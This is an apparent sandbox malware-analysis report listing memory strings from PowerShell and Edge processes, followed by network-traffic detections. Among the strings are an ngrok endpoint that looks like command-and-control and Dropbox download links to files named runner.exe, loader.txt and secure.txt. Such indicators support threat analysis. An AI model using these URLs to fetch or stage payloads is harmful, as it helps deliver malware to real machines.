Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000004.00000003.1888340003.000038B002468000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1888462488.000038B00246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037893962.00000D100026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2037748398.00000D1000268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022ECA0FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app
Source: powershell.exe, 00000002.00000002.1991500031.000001B0E0B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e
Source: powershell.exe, 00000002.00000002.1991500031.000001B0E0B62000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1992145461.000001B0E0D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e-UseBa
Source: powershell.exe, 00000002.00000002.1991500031.000001B0E0BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7eU
Source: powershell.exe, 00000014.00000002.2174936973.0000022EC6E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7eX
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com/cd/0/get/CgXWcjDOuh_e1TFdA2SzYsOsn-M4
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com/cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZ
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com/cd/0/get/CgWQbVSHwCsSrfRJOs3evEwcHkCw
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com/cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2F07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC927C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/7X
Source: powershell.exe, 00000014.00000002.2174936973.0000022EC6E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1
Source: powershell.exe, 00000014.00000002.2249353306.0000022EE10BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz6Abw
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/d3w8il7o04o41ssg64bq2/loader.txt?rlkey=acjjwiqfkswqv6iwv43ps8t7g&dl=1
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/s
Source: powershell.exe, 00000014.00000002.2174936973.0000022EC6E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2EE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&dl=1
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
